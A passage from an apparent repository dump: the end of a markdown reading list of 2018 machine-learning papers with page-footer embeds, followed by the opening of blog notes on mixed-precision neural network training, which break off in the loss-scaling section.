[paper](http://proceedings.mlr.press/v80/song18a/song18a.pdf)\n\n\n\n## :+1: Model Evaluation & Performance & Interpretion & Visualization\n\n**Are All Training Examples Created Equal? An Empirical Study**. K Vodrahalli, K Li, J Malik [UC Berkeley] (2018) [arXiv:1811.12569](https://arxiv.org/abs/1811.12569) [็ŸฅไนŽ](https://zhuanlan.zhihu.com/p/52458512)\n\n**Rethinking ImageNet Pre-training**. K He, R Girshick, P Dollรกr [Facebook AI Research (FAIR)] (2018) [arXiv:1811.08883](https://arxiv.org/abs/1811.08883)\n\n**Efficient Identification of Approximate Best Configuration of Training in Large Datasets**. S Huang, C Wang, B Ding, S Chaudhuri [University of Illinois & Microsoft Research & Alibaba Group] (2018) [arXiv:1811.03250](https://arxiv.org/abs/1811.03250)\n\n**Explaining Deep Learning Models - A Bayesian Non-parametric Approach**. W Guo, S Huang, Y Tao, X Xing, L Lin [The Pennsylvania State University & Netflix Inc & Columbia University] (2018) [arXiv:1811.03422](https://arxiv.org/abs/1811.03422)\n\n**How deep is deep enough? - Optimizing deep neural network architecture**. A Schilling, J Rietsch, R Gerum, H Schulze, C Metzner, P Krauss [University Hospital Erlangen & Friedrich-Alexander University Erlangen-Nยจurnberg (FAU)] (2018) [arXiv:1811.01753](https://arxiv.org/abs/1811.01753)\n\n**Approximate Fisher Information Matrix to Characterise the Training of Deep Neural Networks**. Z Liao, T Drummond, I Reid, G Carneiro [University of Adelaide & Monash University] (2018) [arXiv:1810.06767](https://arxiv.org/abs/1810.06767) [GitHub](https://github.com/zhibinliao89/fisher.info.mat.torch) \n\n**A Performance Evaluation of Convolutional Neural Networks for Face Anti Spoofing**. Chaitanya Nagpal, Shiv Ram Dubey (2018) [arXiv:1805.04176](https://arxiv.org/abs/1805.04176)\n\n**An Information-Theoretic View for Deep Learning**. J Zhang, T Liu, D Tao [UBTECH Sydney AI Centre] (2018) [arXiv:1804.09060](https://arxiv.org/abs/1804.09060)\n\n**Understanding Individual Neuron Importance Using Information Theory**. K Liu, R A Amjad, B C. Geiger [Technical University of Munich & Graz University of Technology] (2018) [arXiv:1804.06679](https://arxiv.org/abs/1804.06679)\n\n**Understanding Convolutional Neural Network Training with Information Theory**. S Yu, R Jenssen, J C. Principe [University of Florida & University of Tromsรธ] (2018) [arXiv:1804.06537](https://arxiv.org/abs/1804.06537)\n\n**A disciplined approach to neural network hyper-parameters: Part 1 -- learning rate, batch size, momentum, and weight decay**. Leslie N. Smith. [arXiv:1803.09820](https://arxiv.org/abs/1803.09820)\n\n**Focal Loss for Dense Object Detection**. Tsung-Yi Lin, Priya Goyal, Ross Girshick, Kaiming He, Piotr Dollรกr [Facebook AI Research] (2017) [arXiv:1708.02002](https://arxiv.org/abs/1708.02002) [Github](https://github.com/facebookresearch/Detectron)\n\n- Samples & Datasets\n\n **Image Score: How to Select Useful Samples**. Simiao Zuo, Jialin Wu [University of Texas at Austin] (2018) [arXiv:1812.00334](https://arxiv.org/abs/1812.00334) [Reddit](https://www.reddit.com/r/MachineLearning/comments/a30cuw/181200334_image_score_how_to_select_useful_samples/)\n\n **Failing Loudly: An Empirical Study of Methods for Detecting Dataset Shift**. S Rabanser, S Gรผnnemann, Z C. Lipton [CMU & Technical University of Munich] (2018) [arXiv:1810.11953](https://arxiv.org/abs/1810.11953)\n\n **How Many Samples are Needed to Learn a Convolutional Neural Network?**. S S. Du, Y Wang, X Zhai, S Balakrishnan, R Salakhutdinov, A Singh [CMU & University of Cambridge] (2018) [arXiv:1805.07883](https://arxiv.org/abs/1805.07883)\n\n- Batch-size\n\n **An Empirical Model of Large-Batch Training**. Sam McCandlish, Jared Kaplan, Dario Amodei [OpenAI] (DECEMBER 14, 2018) [PDF](https://s3-us-west-2.amazonaws.com/openai-assets/research-covers/science-of-ai/An+Empirical+Model+of+Large-Batch+Training.pdf) [BLOG](https://blog.openai.com/science-of-ai/)\n\n **Don't Use Large Mini-Batches, Use Local SGD**. T Lin, S U. Stich, M Jaggi [EPFL] (2018) [arXiv:1808.07217](https://arxiv.org/abs/1808.07217)\n\n **Revisiting Small Batch Training for Deep Neural Networks**. Dominic Masters, Carlo Luschi. (2018) [arXiv:1804.07612](https://arxiv.org/abs/1804.07612)\n\n- Saliency\n\n **Understanding Individual Decisions of CNNs via Contrastive Backpropagation**. J Gu, Y Yang, V Tresp [the University of Munich & Siemens AG] (2018) [arXiv:1812.02100](https://arxiv.org/abs/1812.02100)\n\n **Local Explanation Methods for Deep Neural Networks Lack Sensitivity to Parameter Values**. J Adebayo, J Gilmer, I Goodfellow, B Kim [Google Brain] (2018) [arXiv:1810.03307](https://arxiv.org/abs/1810.03307) [OpenReview](https://openreview.net/forum?id=SJOYTK1vM)\n\n **Sanity Checks for Saliency Maps**. J Adebayo, J Gilmer, M Muelly, I Goodfellow, M Hardt, B Kim [Google Brain] (2018) [arXiv:1810.03292](https://arxiv.org/abs/1810.03292)\n\n\n## :control_knobs: Model Configuration\n\n**Bag of Tricks for Image Classification with Convolutional Neural Networks**. Tong He, Zhi Zhang, Hang Zhang, Zhongyue Zhang, Junyuan Xie, Mu Li [AWS] (2018) [arXiv:1812.01187](https://arxiv.org/abs/1812.01187) [Reddit](https://www.reddit.com/r/MachineLearning/comments/a4dxna/r_bag_of_tricks_for_image_classification_with/) [Slides[Reddit]](https://www.reddit.com/r/MachineLearning/comments/a5s8pv/r_a_bags_of_tricks_which_may_improve_deep/)\n\n**Linear Backprop in non-linear networks**. Mehrdad Yazdani [University of California San Diego] (NIPS 2018) [OpenReview](https://openreview.net/forum?id=ByfPDyrYim) [ๆœบๅ™จไน‹ๅฟƒ](https://mp.weixin.qq.com/s?__biz=MzA3MzI4MjgzMw==&mid=2650753228&idx=2&sn=fad16dfb7e96c4301ac3838f058ecaae)\n\n**Seeing in the dark with recurrent convolutional neural networks**. T S. Hartmann [Harvard Medical School] (2018) [arXiv:1811.08537](https://arxiv.org/abs/1811.08537)\n\n**Dataset Distillation**. T Wang, J Zhu, A Torralba, A A. Efros [Facebook AI Research & MIT & UC Berkeley] (2018) [arXiv:1811.10959](https://arxiv.org/abs/1811.10959)\n\n**Retina U-Net: Embarrassingly Simple Exploitation of Segmentation Supervision for Medical Object Detection**. P F. Jaeger, S A. A. Kohl, S Bickelhaupt, F Isensee, T A Kuder, H Schlemmer, K H. Maier-Hein [German Cancer Research Center] (2018) [arXiv:1811.08661](https://arxiv.org/abs/1811.08661) [GitHub](https://github.com/pfjaeger/medicaldetectiontoolkit)\n\n**Rethinking floating point for deep learning**. Jeff Johnson [Facebook AI Research] (2018) [arXiv:1811.01721](https://arxiv.org/abs/1811.01721) [Github](https://github.com/facebookresearch/deepfloat) [Blog](https://code.fb.com/ai-research/floating-point-math/)\n\n**Quaternion Convolutional Neural Networks**. Xuanyu Zhu / Yi Xu / Hongteng Xu / Changjian Chen. [Shanghai Jiao Tong University & Duke University] (ECCV2018) ([pdf](http://openaccess.thecvf.com/content_ECCV_2018/html/Xuanyu_Zhu_Quaternion_Convolutional_Neural_ECCV_2018_paper.html))\n\n**Why scatter plots suggest causality, and what we can do about it**. C T. Bergstrom, J D. West [University of Washington] (2018) [arXiv:1809.09328](https://arxiv.org/abs/1809.09328)\n\n**Human activity recognition based on time series analysis using U-Net**. Y Zhang, Y Zhang, Z Zhang, J Bao, Y Song [Beijing University of Posts and Telecommunications & AIdong Super AI] (2018). [arXiv:1809.08113](https://arxiv.org/abs/1809.08113)\n\n**Backprop Evolution**. M Alber, I Bello, B Zoph, P Kindermans, P Ramachandran, Q Le [TU Berlin & Google Brain] (2018) [arXiv:1808.01974](https://arxiv.org/abs/1808.01974)\n\n**Smooth Loss Functions for Deep Top-k Classification**. L Berrada, A Zisserman, M. P Kumar [University of Oxford] (2018) [arXiv:1802.07595](https://arxiv.org/abs/1802.07595) [Github](https://github.com/oval-group/smooth-topk)\n\n**Learning Confidence for Out-of-Distribution Detection in Neural Networks**. T DeVries, G W. Taylor [University of Guelph & Vector Institute] (2018) [arXiv:1802.04865](https://arxiv.org/abs/1802.04865)\n\n- Batch Normalization\n\n **Generalized Batch Normalization: Towards Accelerating Deep Neural Networks**. X Yuan, Z Feng, M Norton, X Li [University of Florida & Naval Postgraduate School] (2018) [arXiv:1812.03271](https://arxiv.org/abs/1812.03271)\n\n **How Does Batch Normalization Help Optimization? (No, It Is Not About Internal Covariate Shift)**. S Santurkar, D Tsipras, A Ilyas, A Madry [MIT] (2018) [arXiv:1805.11604](https://arxiv.org/abs/1805.11604) [YouTube](https://www.youtube.com/watch?v=ZOabsYbmBRM) [Reddit](https://www.reddit.com/r/MachineLearning/comments/8n4eot/r_how_does_batch_normalization_help_optimization/) [Notes from SALU](https://shaoanlu.wordpress.com/2018/07/12/notes-for-paper-how-does-batch-normalization-help-optimization-no-it-is-not-about-internal-covariate-shift/)\n\n\n\n\n\n## ใ€ฝ๏ธ ODE & PDE\n\n**Data Driven Governing Equations Approximation Using Deep Neural Networks**. T Qin, K Wu, D Xiu [The Ohio State University] (2018) [arXiv:1811.05537](https://arxiv.org/abs/1811.05537)\n\n**Neural Ordinary Differential Equations**. Ricky T. Q. Chen, Yulia Rubanova, Jesse Bettencourt, David Duvenaud [University of Toronto, Canada] (NeurIPS 2018) [arXiv:1806.07366](https://arxiv.org/abs/1806.07366) [Github](https://github.com/rtqichen/torchdiffeq) [Blog](https://rkevingibson.github.io/blog/neural-networks-as-ordinary-differential-equations/)\n\n**Forward-Backward Stochastic Neural Networks: Deep Learning of High-dimensional Partial Differential Equations**. M Raissi [Brown University] (2018) [arXiv:1804.07010](https://arxiv.org/abs/1804.07010)\n\n\n\n\n\n---\n\n\n\n## :atom_symbol: Physics Related\n\n**The Calabi-Yau Landscape: from Geometry, to Physics, to Machine-Learning**. Y He (2018) [arXiv:1812.02893](https://arxiv.org/abs/1812.02893)\n\n**DeepSphere: Efficient spherical Convolutional Neural Network with HEALPix sampling for cosmological applications**. N Perraudin, M Defferrard, T Kacprzak, R Sgier [aSwiss Data Science Center (SDSC) & EPFL & ETH Zurich] (2018) [arXiv:1810.12186](https://arxiv.org/abs/1810.12186)\n\n**Toward an AI Physicist for Unsupervised Learning**. T Wu, M Tegmark [MIT] (2018) [arXiv:1810.10525](https://arxiv.org/abs/1810.10525)\n\n**Using Machine Learning to Predict the Evolution of Physics Research**. W Liu, S Saganowski, P Kazienko, S A Cheong [Nanyang Technological University & Wrocล‚aw University of Science and Technology] (2018) [arXiv:1810.12116](https://arxiv.org/abs/1810.12116)\n\n**hep-th**. Y He, V Jejjala, B D. Nelson [University of London & Nankai University & Northeastern University] (2018) [arXiv:1807.00735](https://arxiv.org/abs/1807.00735) [comment]\n\n**Physics-guided Neural Networks (PGNNs)**. Anuj Karpatne, William Watkins, Jordan Read, Vipin Kumar [University of Minnesota] (2017) [arXiv:1710.11431](https://arxiv.org/abs/1710.11431)\n\n\n\n## :books: Review\n\n**Graph Neural Networks: A Review of Methods and Applications**. J Zhou, G Cui, Z Zhang, C Yang, Z Liu, M Sun [Tsinghua University] (2018) [arXiv:1812.08434](https://arxiv.org/abs/1812.08434)\n\n**Recent Advances in Autoencoder-Based Representation Learning**. M Tschannen, O Bachem, M Lucic [ETH Zurich & Google AI] (2018) [arXiv:1812.05069](https://arxiv.org/abs/1812.05069)\n\n**Deep Learning on Graphs: A Survey**. Z Zhang, P Cui, W Zhu [Tsinghua University] (2018) [arXiv:1812.04202](https://arxiv.org/abs/1812.04202)\n\n**Learning From Positive and Unlabeled Data: A Survey**. J Bekker, J Davis [KU Leuven] (2018) [arXiv:1811.04820](https://arxiv.org/abs/1811.04820)\n\n**Analyzing biological and artificial neural networks: challenges with opportunities for synergy?**. David G.T. Barrett, Ari S. Morcos, Jakob H. Macke [DeepMind; Technical University of Munich, Germany] (2018) [arXiv:1810.13373](https://arxiv.org/abs/1810.13373)\n\n**Model Selection Techniques -- An Overview**. J Ding, V Tarokh, Y Yang [University of Minnesota & Duke University] (2018) [arXiv:1810.09583](https://arxiv.org/abs/1810.09583)\n\n**Deep Learning with the Random Neural Network and its Applications**. Y Yin [Imperial College] (2018) [arXiv:1810.08653](https://arxiv.org/abs/1810.08653)\n\n**The Frontiers of Fairness in Machine Learning**. A Chouldechova, A Roth [CMU & University of Pennsylvania] (2018) [arXiv:1810.08810](https://arxiv.org/abs/1810.08810)\n\n**Applications of Deep Reinforcement Learning in Communications and Networking: A Survey**. N C Luong, D T Hoang, S Gong, D Niyato, P Wang, Y Liang, D I Kim [Nanyang Technological University & University of Technology Sydney & Chinese Academy of Sciences] (2018) [arXiv:1810.07862](https://arxiv.org/abs/1810.07862)\n\n**A Survey on Deep Learning: Algorithms, Techniques, and Applications**. Pouyanfar S, Sadiq S, Yan Y, et al [ACM Computing Surveys (CSUR)] (2018) ([pdf](https://dl.acm.org/citation.cfm?id=3234150)) ([ไธ“็Ÿฅ](https://mp.weixin.qq.com/s/AQrgvjFPXUpqfqQQgOFN9A))\n\n**A Tale of Three Probabilistic Families: Discriminative, Descriptive and Generative Models**. Y N Wu, R Gao, T Han, S Zhu [UCLA] (2018) [arXiv:1810.04261](https://arxiv.org/abs/1810.04261)\n\n**Deep learning for time series classification: a review**. H I Fawaz, G Forestier, J Weber, L Idoumghar, P Muller [Universitรฉ Haute Alsace] (2018) [arXiv:1809.04356](https://arxiv.org/abs/1809.04356)\n\n**A Survey on Deep Transfer Learning**. C Tan, F Sun, T Kong, W Zhang, C Yang, C Liu [Tsinghua University] (2018) [arXiv:1808.01974](https://arxiv.org/abs/1808.01974)\n\n**Generalization Error in Deep Learning**. D Jakubovitz, R Giryes, M R. D. Rodrigues [Tel Aviv University & University College London] (2018) [arXiv:1808.01174](https://arxiv.org/abs/1808.01174)\n\n**How convolutional neural network see the world - A survey of convolutional neural network visualization methods**. Z Qin, F Yu, C Liu, X Chen [George Mason University & Clarkson University] (2018) [arXiv:1804.11191](https://arxiv.org/abs/1804.11191)\n\n**Deep Learning for Time-Series Analysis**. John Gamboa [University of Kaiserslautern, Germany] (2017) [arXiv:1701.01887](https://arxiv.org/abs/1701.01887)\n\n**Deep Learning in Neural Networks: An Overview**. Ju ฬˆrgen Schmidhuber [University of Lugano & SUPSI, Switzerland] (2014) [arXiv:1404.7828](https://arxiv.org/abs/1404.7828)\n\n\n\n\n\n## :framed_picture: Figure Design & Dimension Reduction\n\n**CFUN: Combining Faster R-CNN and U-net Network for Efficient Whole Heart Segmentation**. Z Xu, Z Wu, J Feng [Tsinghua University] (2018) [arXiv:1812.04914](https://arxiv.org/abs/1812.04914) [GitHub](https://github.com/Wuziyi616/CFUN)\n\n**Deep Paper Gestalt**. J Huang [Virginia Tech] (2018) [arXiv:1812.08775](https://arxiv.org/abs/1812.08775) [GitHub](https://github.com/vt-vl-lab/paper-gestalt) [YouTube](https://www.youtube.com/watch?v=yQLsZLf02yg)\n\n**A Tutorial on Distance Metric Learning: Mathematical Foundations, Algorithms and Software**. J L Suรกrez, S Garcรญa, F Herrera [University of Granada] (2018) [arXiv:1812.05944](https://arxiv.org/abs/1812.05944)\n\n**Improving Generalization for Abstract Reasoning Tasks Using Disentangled Feature Representations**. X Steenbrugge, S Leroux, T Verbelen, B Dhoedt [Ghent University] (2018) [arXiv:1811.04784](https://arxiv.org/abs/1811.04784)\n\n**UMAP: Uniform Manifold Approximation and Projection for Dimension Reduction**. Leland McInnes and John Healy [Tutte Institute for Mathematics and Computing] (2018) [arXiv:1802.03426](https://arxiv.org/abs/1802.03426) [Github](https://github.com/lmcinnes/umap)\n\n\n\n\n\n\n\n---\n\n> Need to be reviewed.....\n\n**Entropic GANs meet VAEs: A Statistical Approach to Compute Sample Likelihoods in GANs**. Y Balaji, H Hassani, R Chellappa, S Feizi [University of Maryland & University of Pennsylvania] (2018) [arXiv:1810.04147](https://arxiv.org/abs/1810.04147) [comment]\n\n**Analyzing the Noise Robustness of Deep Neural Networks**. M Liu, S Liu, H Su, K Cao, J Zhu [Tsinghua University] (2018) [arXiv:1810.03913](https://arxiv.org/abs/1810.03913) [comment]\n\n**Deep convolutional Gaussian processes**. K Blomqvist, S Kaski, M Heinonen [Aalto university] (2018) [arXiv:1810.03052](https://arxiv.org/abs/1810.03052) [GitHub](https://github.com/kekeblom/DeepCGP) [comment]\n\n**Learning Confidence Sets using Support Vector Machines**. W Wang, X Qiao [Binghamton University] (2018) [arXiv:1809.10818](https://arxiv.org/abs/1809.10818) [comment]\n\n**Learning with Random Learning Rates**. L Blier, P Wolinski, Y Ollivier [Facebook AI Research & Universite Paris Sud] (2018) [arXiv:1810.01322](https://arxiv.org/abs/1810.01322) [Github](https://github.com/leonardblier/alrao) [Blog](https://leonardblier.github.io/alrao/) [comment]\n\n**Interpreting Adversarial Robustness: A View from Decision Surface in Input Space**. F Yu, C Liu, Y Wang, X Chen [George Mason University & Clarkson University & Northeastern University] (2018) [arXiv:1810.00144](https://arxiv.org/abs/1810.00144) [comment]\n\n**Spurious samples in deep generative models: bug or feature?**. B Kรฉgl, M Cherti, A Kazakรงฤฑ [CNRS/Universite Paris-Saclay & PSL Research University] (2018) [arXiv:1810.01876](https://arxiv.org/abs/1810.01876) [comment]\n\n**Inhibited Softmax for Uncertainty Estimation in Neural Networks**. M Moลผejko, M Susik, R Karczewski [Sigmoidal] (2018) [arXiv:1810.01861](https://arxiv.org/abs/1810.01861) [GitHub](https://github.com/MSusik/Inhibited-softmax) [comment]\n\n**Deep processing of structured data**. ล Maziarka, M ลšmieja, A Nowak, J Tabor, ล Struski, P Spurek [Jagiellonian University] (2018) [arXiv:1810.01989](https://arxiv.org/abs/1810.01989) [comment]\n\n**Variational Discriminator Bottleneck: Improving Imitation Learning, Inverse RL, and GANs by Constraining Information Flow**. Xue Bin Peng, Angjoo Kanazawa, Sam Toyer, Pieter Abbeel, Sergey Levine [University of California, Berkeley] (2018) [arXiv:1810.00821](https://arxiv.org/abs/1810.00821)\n\n**Taming VAEs**. D J Rezende, F Viola [DeepMind] (2018) [arXiv:1810.00597](https://arxiv.org/abs/1810.00597) [comment]\n\n**Adversarial Attacks and Defences: A Survey**. A Chakraborty, M Alam, V Dey, A Chattopadhyay, D Mukhopadhyay [Indian Institute of Technology & The Ohio State University & Nanyang Technological University] (2018) [arXiv:1810.00069](https://arxiv.org/abs/1810.00069) [comment]\n\n**Over-Optimization of Academic Publishing Metrics: Observing Goodhart's Law in Action**. M Fire, C Guestrin [University of Washington] (2018) [arXiv:1809.07841](https://arxiv.org/abs/1809.07841) [comment]\n\n**On the loss landscape of a class of deep neural networks with no bad local valleys**. Q Nguyen, M C Mukkamala, M Hein [Saarland University & University of Tรผbingen] (2018) [arXiv:1809.10749](https://arxiv.org/abs/1809.10749) [comment]\n\n**Conditional WaveGAN**. Chae Young Lee, Anoop Toffy, Gue Jun Jung, Woo-Jin Han (2018) [GitHub](https://github.com/acheketa/cwavegan) [arXiv:1809.10636](https://arxiv.org/abs/1809.10636)\n\n**An analytic theory of generalization dynamics and transfer learning in deep linear networks**. A K. Lampinen, S Ganguli [Stanford University] (2018) [arXiv:1809.10374](https://arxiv.org/abs/1809.10374) [comment]\n\n**Dropout is a special case of the stochastic delta rule: faster and more accurate deep learning**. N Frazier-Logue, S J Hanson [Rutgers University] (2018) [arXiv:1808.03578](https://arxiv.org/abs/1808.03578) [comment]\n\n**Grassmannian Learning: Embedding Geometry Awareness in Shallow and Deep Learning**. J Zhang, G Zhu, R W. H Jr., a K Huang [The University of Hong Kong] (2018) [arXiv:1808.02229](https://arxiv.org/abs/1808.02229) [comment]\n\n**Is Robustness the Cost of Accuracy? -- A Comprehensive Study on the Robustness of 18 Deep Image Classification Models**. D Su, H Zhang... [IBM Research & University of California, Davis & MIT] (2018) [arXiv:1808.01688](https://arxiv.org/abs/1808.01688) [GitHub](https://github.com/huanzhang12/Adversarial_Survey) [comment]\n\n**Recurrent Squeeze-and-Excitation Context Aggregation Net for Single Image Deraining**. Xia Li, Jianlong Wu, Zhouchen Lin, Hong Liu, Hongbin Zha. [Peking University] (2018) [arXiv:1807.05698](https://arxiv.org/abs/1807.05698) [GitHub](https://github.com/XiaLiPKU/RESCAN) [comment]\n\n**Toward Convolutional Blind Denoising of Real Photographs**. S Guo, Z Yan, K Zhang, W Zuo, L Zhang [Harbin Institute of Technology & The Hong Kong Polytechnic University] (2018) [arXiv:1807.04686](https://arxiv.org/abs/1807.04686) [Github](https://github.com/GuoShi28/CBDNet) [comment]\n\n**Seamless Nudity Censorship: an Image-to-Image Translation Approach based on Adversarial Training**. MD More, DM Souza, J Wehrmann, RC Barros (2018) [ResearchGate](https://www.researchgate.net/profile/Jonatas_Wehrmann/publication/325746502_Seamless_Nudity_Censorship_an_Image-to-Image_Translation_Approach_based_on_Adversarial_Training/links/5b2c7950aca2720785d66732/Seamless-Nudity-Censorship-an-Image-to-Image-Translation-Approach-based-on-Adversarial-Training.pdf) [comment]\n\n**Classification and Geometry of General Perceptual Manifolds**. SY Chung, DD Lee, H Sompolinsky [Harvard University] (2018) [PRX](https://journals.aps.org/prx/abstract/10.1103/PhysRevX.8.031003) [comment]\n\n**The GAN Landscape: Losses, Architectures, Regularization, and Normalization**. K Kurach, M Lucic, X Zhai, M Michalski, S Gelly [Google Brain] (2018) [arXiv:1807.04720](https://arxiv.org/abs/1807.04720) [Github](https://github.com/google/compare_gan) [comment]\n\n**Troubling Trends in Machine Learning Scholarship**. Z C. Lipton, J Steinhardt [Stanford University] (2018) [arXiv:1807.03341](https://arxiv.org/abs/1807.03341) [comment]\n\n**On the Spectral Bias of Deep Neural Networks**. N Rahaman, D Arpit, A Baratin, F Draxler, M Lin, F A. Hamprecht, Y Bengio, A Courville [Heidelberg University & MILA] (2018) [arXiv:1806.08734](https://arxiv.org/abs/1806.08734) [comment]\n\n**Opening the black box of deep learning**. D Lei, X Chen, J Zhao [Shanghai University] (2018) [arXiv:1805.08355](https://arxiv.org/abs/1805.08355) [comment]\n\n**Foundations of Sequence-to-Sequence Modeling for Time Series**. V Kuznetsov, Z Mariet [Google Research & MIT] (2018) [arXiv:1805.03714](https://arxiv.org/abs/1805.03714)\n\n\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./APaperADay.html)\n\n\n<div id=\"disqus_thread\"></div>\n<script>\n/**\n* RECOMMENDED CONFIGURATION VARIABLES: EDIT AND UNCOMMENT THE SECTION BELOW TO INSERT DYNAMIC VALUES FROM YOUR PLATFORM OR CMS.\n* LEARN WHY DEFINING THESE VARIABLES IS IMPORTANT: https://disqus.com/admin/universalcode/#configuration-variables*/\n/*\nvar disqus_config = function () {\nthis.page.url = PAGE_URL; // Replace PAGE_URL with your page's canonical URL variable\nthis.page.identifier = PAGE_IDENTIFIER; // Replace PAGE_IDENTIFIER with your page's unique identifier variable\n};\n*/\n(function() { // DON'T EDIT BELOW THIS LINE\nvar d = document, s = d.createElement('script');\ns.src = 'https://iphysresearch.disqus.com/embed.js';\ns.setAttribute('data-timestamp', +new Date());\n(d.head || d.body).appendChild(s);\n})();\n</script>\n<noscript>Please enable JavaScript to view the <a href=\"https://disqus.com/?ref_noscript\">comments powered by Disqus.</a></noscript>\n\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n\n\n\n" }, { "alpha_fraction": 0.6599633097648621, "alphanum_fraction": 0.6994325518608093, "avg_line_length": 27.200000762939453, "blob_id": "1e270ac386252f470019d2eea895cbd016e2975b", "content_id": "732b955563f1167d2539ca46069a4f36f1f95edd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 12000, "license_type": "no_license", "max_line_length": 394, "num_lines": 425, "path": "/blog/posts/Training_Neural_Networks_with_Mixed_Precision_Theory_and_Practice.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: Training Neural Networks with Mixed Precision: Theory and Practice\ndate: 2018-08-01\n---\n\n\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html)\n\n---\n\n[TOC]\n\n\n\n# Training Neural Networks with Mixed Precision: Theory and Practice\n\n>by **Paulius Micikevicius** \n>\n>Original: [S8923-Training Neural Networks with Mixed Precision: Theory and Practice](http://on-demand.gputechconf.com/gtc/2018/video/S8923/)\n\n\n\n## What is Mixed Precision Training?\n\n- **Reduced precision tensor math with FP32 accumulation, FP16 storage**\n- **Successfully used to train a variety of:**\n - Well nown public networks\n - Variety of NVIDIA research networks\n - Variety of NVIDIA automotive networks\n\n\n\n## Benefits of Mixed Precision Training\n\n- **Accelerates math**\n - TensorCores have 8x higher throughput than FP32\n - 125 TFlops theory\n- **Reduces memory bandwidth pressure:**\n - FP16 halves the memory traffic compared to FP32\n- **Reduces memory consumption**\n - Halve the size of activation and gradient tensors\n - Enables larger minibatches or larger input sizes\n\n\n\n## Volta TensorCores\n\n- https://devblogs.nvidia.com/programming-tensor-cores-cuda-9/\n- **Used by cuDNN and CUBLAS libraries**\n- **Exposed in CUDA as WMMA**\n - http://docs.nvidia.com/cuda/cuda-c-programming-guide/index.html#wmma\n- **Accelerate convolutions and matrix multiplication**\n - A single instruction multiply-accumulates matrices\n - Think: computes many dot-products in parallel\n\n![](https://i.loli.net/2018/08/11/5b6e6546836d6.png)\n\n\n\n\n\n## Training results with mixed precision\n\n- **Successfully applied to a wide variety of networks including:**\n - Imagenet CNNs\n - Detection\n - Language Translation\n - Speech\n - Text to Speech\n - GAN\n - Image enhancement (inpainting, upscaling, pix2pix, etc.)\n - Wavenet\n- **More details later in this talk**\n\n\n\n\n\n## Considerations for Mixed Precision Training\n\n- **Which precision to use for storage, for math?**\n- Instructive to walk through by DNN operation type:\n - Weight update\n - Point-wise\n - Reduction\n - Convolution, Matrix multiply\n\n\n\n\n\n## Guideline #1 for mixed precision: weight update\n\n- **FP16 mantissa is sufficient for some networks, some require FP32**\n- **Sum of FP16 values whose ratio is greater than $2^{11}$ is just the large value**\n - FP16 has a 10-bit mantissa, binary points have to be aligned for addition\n - Weight update: if [w >> lr * dw]( ) then update doesn't change [w]( )\n - Examples multiplying a value by 0.01 leads to ~$2^7$ ratio, 0.001 leads to ~$2^{10}$ ratio\n- **Conservative recommendation:**\n - FP32 update:\n - Compute weight update in FP32\n - Keep a master copy of weights in FP32, make an FP16 copy for fwd/bwd passes\n- **If FP32 storage is a burden, try FP16 โ€” it does work for some nets**\n - i.e. convnets\n\n\n\n\n\n## Guideline #2 for mixed precision: pointwise\n\n- **FP16 is safe for most of these: ReLU, Sigmoid, Tanh, Scale, Add, ...**\n - Inputs and outputs to these are value in a narrow range around 0\n - FP16 storage saves bandwidth -> reduces time\n- **FP32 math and storage is recommended for:**\n - operations [f]( ) where [| f(x) | >> | x |]( )\n - Example: Exp, Square, Log, Cross-entropy\n - FP32 accumulation ensures high precision, no pref impact since bandwidth limited\n - These typically occur as part of a normalization or loss layer that is unfused\n- **Conservative recommendation:**\n - Leave pointwise ops in FP32 (math and storage) unless they are known types\n - NVIDIA has a library of efficient fused pointwise ops for common types (eg BN)\n - Pointwise op fusion is a good next step for performance\n\n\n\n## DNN Operations: Reductions\n\n- **Examples:**\n - Large sums of values: L1 norm, L2 norm, Softmax\n- **FP32 Math:**\n - Avoids overflows\n - Does not affect speed โ€” these operations are memory limited\n- **Storage:**\n - FP32 output\n - Input can be FP16 if the preceding operation outputs FP16\n - If your training frameworks supports different input and output types for an op\n - Save badwidth -> some speedup\n\n\n\n\n\n## A Note on Normalization and Loss Layers \n\n- **Normalizations:**\n - Usually constructed from primitive ops (reductions, squares, exp, scale)\n - Storage:\n - Input and normalized output can be in FP16\n - Intermediate results should be stored in FP32\n - Ideally should by fused in a single op:\n - Avoids round-trips to memory -> faster\n - Avoids intermediate storage\n- **Loss, probability layers:**\n - Softmax, cross-entropy, attention modules\n - FP32 math, FP32 output\n\n\n\n## DNN operation: Convolution, Matrix Multiply\n\n- **Fundamentally these are collections of dot-products**\n- **Math: Tensor Cores starting with Volta GPUs**\n - Training: use FP32 accumulation\n - Inference: FP16 accumulation can be used\n - Many frameworks have integrated libraries with TensorCore support\n - http://doc.nvidia.com/deeplearning/sdk/mixed-precision-training/\n- FP16 Storage (input and output)\n\n\n\n\n\n## Summary so far\n\n- **FP32 Master weights and update**\n- **Math: FP32 and TensorCores**\n- **Storage:**\n - Use FP16 for most layers\n - Use FP32 for layers that output probabilities or large magnitude values\n - Fuse to optimize speed and storage\n- **Example layer time breakdowns for FP32-only training:**\n - Resnet50: ~73% convolutions, 27% other\n - DS2: ~90% convolutions and matrix multiplies (LSTM), ~10% other\n- **One more mixed-precision consideration: Loss Scaling**\n - Scale the loss, unscale the weight gradients before update/clipping/etc.\n - Preserves small gradient values\n\n\n\n\n\n![](https://i.loli.net/2018/08/11/5b6e6da55e6c8.png)\n\n## Loss Scaling\n\n- **Algorithm**\n - [Pick a scaling factor]( ) [*s*]( )\n - for each training iteration\n - Make an fp16 copy of weights\n - Fwd prop (fp16 weights and activations)\n - [Scale the loss by]( ) [*s*]( )\n - Bwd prop\n - [Scale dW by]( ) [*1/s*](1/s) 